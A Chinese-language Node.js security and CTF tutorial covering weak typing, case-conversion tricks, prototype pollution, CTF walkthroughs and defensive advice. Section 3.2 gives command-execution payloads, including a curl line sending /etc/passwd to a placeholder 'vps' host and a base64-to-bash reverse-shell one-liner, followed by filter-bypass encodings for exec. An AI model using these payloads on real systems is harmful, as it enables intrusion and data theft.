NodeJs从零到一
字数 1691 2025-08-23 18:31:09

Node.js 安全与CTF应用全面指南

一、Node.js基础概念

1.1 Node.js与JavaScript的区别

区别点 JavaScript Node.js
本质 编程语言 JavaScript运行环境
运行环境 浏览器 服务器端/浏览器外
主要用途 客户端开发 服务器端开发
DOM操作 支持 不支持
引擎 各浏览器引擎(如V8) 使用Chrome V8引擎
典型框架 RamdaJS, TypedJS Express, Lodash等

1.2 Node.js核心特性

REPL环境

  • 读取(Read)-执行(Eval)-打印(Print)-循环(Loop)环境
  • 浏览器控制台和Node运行环境都属于REPL
  • 支持变量声明(var)和直接使用变量

同步与异步

  • 同步:阻塞式,顺序执行
  • 异步:非阻塞,使用回调函数
  • 回调函数通常作为最后一个参数

全局变量

  • __dirname:当前模块目录名
  • __filename:当前模块文件名
  • exports/module.exports:模块导出对象
  • require:引入模块、JSON或本地文件

二、Node.js安全特性

2.1 大小写转换特性

"ı".toUpperCase() == 'I'  // 土耳其小写i转大写
"ſ".toUpperCase() == 'S'  // 长s字符转大写
"KK".toLowerCase() == 'k' // 特殊符号转小写

应用场景:绕过大小写敏感检查,如登录验证

2.2 弱类型比较

数字与字符串比较

1 == '1' // true
'111' > '3' // false (字符串比较)
'111' > 3 // true (数字比较)

数组比较

[] == [] // false
[6,2] > [5] // true (比较第一个元素)
[100,2] < 'test' // true (数组永远比非数组字符串小)

特殊比较

null == undefined // true
null === undefined // false
NaN == NaN // false

2.3 变量拼接特性

5 + [6,6] // "56,6"
"5" + 6 // "56"
"5" + [6,6] // "56,6"

2.4 ES6模板字符串

var node = "nodejs";
console.log`hello ${node} world`; 
// 等同于 console.log(["hello ", " world"], node)

三、Node.js命令执行漏洞

3.1 危险函数

  1. eval()

    eval(req.query.q); // 直接执行用户输入
    
  2. setTimeout/setInterval

    setTimeout("console.log('Hacked')", 2000);
    setInterval("console.log('Hacked')", 2000);
    
  3. Function构造函数

    Function("console.log('Hacked')")();
    
  4. child_process模块

    • exec:执行系统命令
    • execFile:执行文件
    • fork:创建子进程
    • spawn:创建新进程

3.2 命令执行Payload

// 基本执行
require('child_process').exec('calc');

// Linux文件读取
require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');

// 反弹shell
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');

3.3 绕过技术

  1. 点号过滤绕过

    require('child_process')["exec"]('calc');
    
  2. 字符串拼接

    require('child_process')["ex"+"ec"]('calc');
    
  3. 编码绕过

    • 十六进制:"\x65\x78\x65\x63"
    • Unicode:"\u0065\u0078\u0065\u0063"
    • Base64:
      eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpWyJleGVjIl0oJ2NhbGMnKTs=','base64').toString());
      
  4. ES6模板

    require('child_process')[`${`${`exe`}cSync`}`]('calc');
    
  5. concat拼接

    require('child_process')["exe".concat("c")]('calc');
    
  6. Object.values反射

    require('child_process')[Object.values(require('child_process'))[0]]('calc');
    

四、原型链污染

4.1 基本概念

  • prototype:类的属性,实例化时赋予实例
  • proto:实例属性,指向类的prototype
  • 关键等式:user.__proto__ == User.prototype

4.2 原型链继承

function Father(){
    this.last_name = '0ne'
}
function Son(){
    this.first_name = 'node'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
// 输出: Name: node 0ne

4.3 原型链污染原理

通过修改__proto__属性污染原型链:

let user = {first: 1}
user.__proto__.first = 2 // 修改Object原型
let show = {}
console.log(show.first) // 2,污染成功

4.4 污染条件

能够控制对象键名的操作:

  1. 对象merge(合并)
  2. 对象clone(克隆)

污染示例

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2) // 污染Object原型
let o3 = {}
console.log(o3.b) // 2

4.5 防御措施

  1. 使用Object.create(null)创建无原型对象
  2. 冻结原型:Object.freeze(Object.prototype)
  3. 检查键名:拒绝__proto__等特殊属性

五、CTF实战案例

5.1 大小写绕过案例

漏洞代码

function findUser(name, password){
    return name !== 'CTFSHOW' && 
           item.username === name.toUpperCase() && 
           item.password === password;
}

利用
传入ctfſhow,转换后为CTFSHOW,绕过检查

5.2 变量拼接+弱类型比较

漏洞代码

if(a && b && a.length === b.length && 
   a !== b && md5(a + flag) === md5(b + flag)){
    res.end(flag);
}

利用

a = {'x':'1'}, b = {'x':'2'}
a + "flag" === "[object Object]flag"
b + "flag" === "[object Object]flag"

Payload:?a[x]=1&b[x]=2

5.3 原型链污染案例

漏洞代码

utils.copy(user, req.body); // 合并用户输入到对象

if(secert.ctfshow === '36dboy'){
    res.end(flag);
}

利用
发送JSON数据污染原型:

{
    "__proto__": {
        "ctfshow": "36dboy"
    }
}

六、防御建议

  1. 输入验证

    • 严格校验用户输入
    • 使用白名单过滤特殊字符
  2. 安全编码

    • 避免使用eval()等危险函数
    • 使用严格模式('use strict')
  3. 依赖管理

    • 定期更新依赖库
    • 使用npm audit检查漏洞
  4. 原型保护

    • 冻结敏感原型对象
    • 避免不可信数据修改原型
  5. 权限控制

    • 以最小权限运行Node.js进程
    • 使用沙箱环境执行不可信代码

通过深入理解这些Node.js特性和安全机制,安全研究人员可以更好地发现和利用漏洞,同时开发者也能编写更安全的Node.js应用程序。

Node.js 安全与CTF应用全面指南 一、Node.js基础概念 1.1 Node.js与JavaScript的区别 | 区别点 | JavaScript | Node.js | |--------|------------|---------| | 本质 | 编程语言 | JavaScript运行环境 | | 运行环境 | 浏览器 | 服务器端/浏览器外 | | 主要用途 | 客户端开发 | 服务器端开发 | | DOM操作 | 支持 | 不支持 | | 引擎 | 各浏览器引擎(如V8) | 使用Chrome V8引擎 | | 典型框架 | RamdaJS, TypedJS | Express, Lodash等 | 1.2 Node.js核心特性 REPL环境 : 读取(Read)-执行(Eval)-打印(Print)-循环(Loop)环境 浏览器控制台和Node运行环境都属于REPL 支持变量声明( var )和直接使用变量 同步与异步 : 同步:阻塞式,顺序执行 异步:非阻塞,使用回调函数 回调函数通常作为最后一个参数 全局变量 : __dirname :当前模块目录名 __filename :当前模块文件名 exports / module.exports :模块导出对象 require :引入模块、JSON或本地文件 二、Node.js安全特性 2.1 大小写转换特性 应用场景 :绕过大小写敏感检查,如登录验证 2.2 弱类型比较 数字与字符串比较 : 数组比较 : 特殊比较 : 2.3 变量拼接特性 2.4 ES6模板字符串 三、Node.js命令执行漏洞 3.1 危险函数 eval() : setTimeout/setInterval : Function构造函数 : child_ process模块 : exec:执行系统命令 execFile:执行文件 fork:创建子进程 spawn:创建新进程 3.2 命令执行Payload 3.3 绕过技术 点号过滤绕过 : 字符串拼接 : 编码绕过 : 十六进制: "\x65\x78\x65\x63" Unicode: "\u0065\u0078\u0065\u0063" Base64: ES6模板 : concat拼接 : Object.values反射 : 四、原型链污染 4.1 基本概念 prototype :类的属性,实例化时赋予实例 proto :实例属性,指向类的prototype 关键等式: user.__proto__ == User.prototype 4.2 原型链继承 4.3 原型链污染原理 通过修改 __proto__ 属性污染原型链: 4.4 污染条件 能够控制对象键名的操作: 对象merge(合并) 对象clone(克隆) 污染示例 : 4.5 防御措施 使用 Object.create(null) 创建无原型对象 冻结原型: Object.freeze(Object.prototype) 检查键名:拒绝 __proto__ 等特殊属性 五、CTF实战案例 5.1 大小写绕过案例 漏洞代码 : 利用 : 传入 ctfſhow ,转换后为 CTFSHOW ,绕过检查 5.2 变量拼接+弱类型比较 漏洞代码 : 利用 : Payload: ?a[x]=1&b[x]=2 5.3 原型链污染案例 漏洞代码 : 利用 : 发送JSON数据污染原型: 六、防御建议 输入验证 : 严格校验用户输入 使用白名单过滤特殊字符 安全编码 : 避免使用 eval() 等危险函数 使用严格模式( 'use strict' ) 依赖管理 : 定期更新依赖库 使用 npm audit 检查漏洞 原型保护 : 冻结敏感原型对象 避免不可信数据修改原型 权限控制 : 以最小权限运行Node.js进程 使用沙箱环境执行不可信代码 通过深入理解这些Node.js特性和安全机制,安全研究人员可以更好地发现和利用漏洞,同时开发者也能编写更安全的Node.js应用程序。